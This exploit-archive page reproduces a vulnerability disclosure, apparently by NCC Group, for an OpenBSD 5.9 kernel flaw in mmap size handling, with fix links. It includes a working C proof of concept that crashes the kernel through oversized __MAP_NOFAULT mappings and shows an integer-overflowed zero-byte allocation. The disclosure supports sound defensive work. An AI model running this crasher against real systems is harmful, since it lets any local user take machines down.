OpenBSD 5.9 kernel panic through the mmap system call Exploit



EKU-ID: 5696 CVE: OSVDB-ID:
Author: expku Published: 2016-07-18 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
* mmap_panic.c
* Demonstrate a panic through the mmap system call.
*
* gcc -g mmap_panic.c -o mmap_panic
*/
  
#ifdef BUG_WRITEUP //---------------------------------------------------
MMap can trigger an allocation panic or trigger memory corruption
  
Impact:
Any user on the system can use the mmap call to trigger a kernel
panic due to an over-large kernel allocation. Users can also
trigger integer overflows which lead to undersized allocation
which later lead to kernel memory corruption. This may allow
an attacker to gain code execution in the kernel and result
in privilege escalation.
  
Description:
When a user provides the __MAP_NOFAULT flag to mmap, the
kernel calls amap_alloc() which calls malloc() with a size derived
from the user-passed size. This is called through
sys_mmap(), uvm_mmapfile() and uvm_map() without ever
validating the user-provided size. This can result in a panic
in malloc. For example when requesting a mapping of
0x222.1111.0000 bytes, amap_alloc() will compute that it needs
0x2221.1110 slots and amap_alloc1() will compute that it needs
0x2221.1200 total slots and will call malloc() to allocate
0x2.2211.2000 bytes resulting in a panic of
"panic: malloc: allocation too large, type = 98, size = 9161482240".
  
The amap_alloc() call is reachable whenever the UVM_FLAG_OVERLAY
flag has been selected. This happens when mapping a file
with the __MAP_NOFAULT or when making a MAP_ANON maping.
However, the MAP_ANON cause performs validation on the size
parameter which prevents large alocations from happening in
amap_alloc().
  
Besides causing a panic, the amap_alloc() code can also miscalculate
the allocation size which would cause an undersized allocation in
amap_alloc1(). This could lead to memory corruption later. There are
two causes. First amap_alloc() computes slots from a size_t size into
an integer slots variable:
  
struct vm_amap *
amap_alloc(vaddr_t sz, vaddr_t padsz, int waitf)
{
struct vm_amap *amap;
int slots, padslots;
  
AMAP_B2SLOT(slots, sz); /* load slots */
AMAP_B2SLOT(padslots, padsz);
  
(Note that padslots is always zero when called from the mmap system call).
If the original size is larger 0x1000.0000.0000 or larger it will
result in a truncated value of slots, resulting in an undersized amap.
The second problem arises in amap_alloc1():
  
totalslots = malloc_roundup((slots + padslots) * MALLOC_SLOT_UNIT) /
MALLOC_SLOT_UNIT;
amap->am_ref = 1;
amap->am_flags = 0;
#ifdef UVM_AMAP_PPREF
amap->am_ppref = NULL;
#endif
amap->am_maxslot = totalslots;
amap->am_nslot = slots;
amap->am_nused = 0;
  
amap->am_slots = malloc(totalslots * MALLOC_SLOT_UNIT, M_UVMAMAP,
waitf);
  
The number of slots is rounded up so that the slot entries fill
full pages. This rounding up happens in the integer "totalslots"
variable, and can overflow the original "slots" value. This
can happen when requesting an allocation of size 0xfff.ffff.0000,
for example. In this case amap_alloc() computes that
0xffff.fff0 slots are needed and amap_alloc1() computes
that zero totalslots are needed, and allocates an amap of zero
bytes. If the amap->am_slots, amap->am_bckptr or amap->am_anon
fields are later accessed, it can lead to out-of-memory
reads and writes on the kernel allocation heap. Many accesses
through these pointers are guaraded by am_slots (the original
slots count of 0xfffffff0) and not am_maxslots (which contains the
flawed slot count of zero). This might lead to kernel code execution
and privilege escalation.
  
Reproduction:
Run the attached mmap_panic.c program. It performs a mmap
call with a large size and with the __MAP_NOFAULT flag set.
This results in a panic of
"malloc: allocation too large, type = 98, size = 9161482240".
(Note that 9161482240 is 0x2.2211.2000 in hex).
NCC Group was able to reproduce this issue on OpenBSD 5.9 release
running amd64.
  
Run the attached mmap_panic.c program as "./mmap-panic -1"
to trigger the second test case. This case causes a zero-byte
allocation of the amap. It does not cause a crash, but setting
a breakpoint in amap_alloc1() will verify the short allocation.
  
Recommendation:
Address the allocation size issue by validating the allocation
size in sys_mmap.c in uvm/uvm_mmap.c. Code for validating
sizes already exists for other cases, such as when creating
an anonymous mapping:
  
if ((flags & MAP_ANON) != 0 ||
((flags & MAP_PRIVATE) != 0 && (prot & PROT_WRITE) != 0)) {
if (size >
(p->p_rlimit[RLIMIT_DATA].rlim_cur - ptoa(p->p_vmspace->vm_dused))) {
return ENOMEM;
}
}
  
To address the integer truncation and overflow issues, change
the "slots" and "padslots" variables in amap_alloc() to unsigned
long values or some other suitable type. Change the "totalslots"
type in amap_alloc1() to the same type, and detect integer
overflows when using malloc_roundup(). The resulting count
should always be larger than the original slots argument and
an error should be returned when it is not.
  
Reported: 2016-07-12
Fixed: http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/uvm/uvm_mmap.c.diff?r1=1.134&r2=1.135
http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/uvm/uvm_mmap.c.diff?r1=1.135&r2=1.136
http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/uvm/uvm_mmap.c.diff?r1=1.136&r2=1.137
http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/uvm/uvm_amap.c.diff?r1=1.74&r2=1.75
http://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/016_mmap.patch.sig
http://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/016_mmap.patch.sig
http://ftp.openbsd.org/pub/OpenBSD/patches/5.8/common/020_mmap.patch.sig
http://ftp.openbsd.org/pub/OpenBSD/patches/5.8/common/020_mmap.patch.sig
  
#endif // BUG_WRITEUP ---------------------------------------------------
  
  
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
  
void xperror(int cond, char *msg)
{
if(cond) {
perror(msg);
exit(1);
}
}
  
void test0()
{
void *p;
int fd;
  
fd = open("/tmp/mapfile", O_RDWR | O_CREAT, 0666);
xperror(fd == -1, "/tmp/mapfile");
  
/* cause a crash in kernel malloc */
printf("test0\n");
p = mmap(0, 0x222211110000, 0, __MAP_NOFAULT, fd, 0);
xperror(p == (void*)-1, "mmap");
}
  
void test1()
{
char *p;
size_t i;
int fd;
  
fd = open("/tmp/mapfile", O_RDWR | O_CREAT, 0666);
xperror(fd == -1, "/tmp/mapfile");
  
/* cause a bad amap allocation */
printf("test1\n");
p = mmap(0, 0x0fffffff0000, 0, __MAP_NOFAULT, fd, 0);
xperror((void*)p == (void*)-1, "mmap");
  
/* note: no crash is caused, the bad amap is never used... */
}
  
int main(int argc, char **argv)
{
if(argc > 1 && strcmp(argv[1], "-1") == 0)
test1();
else
test0();
printf("no crash!\n");
return 0;
}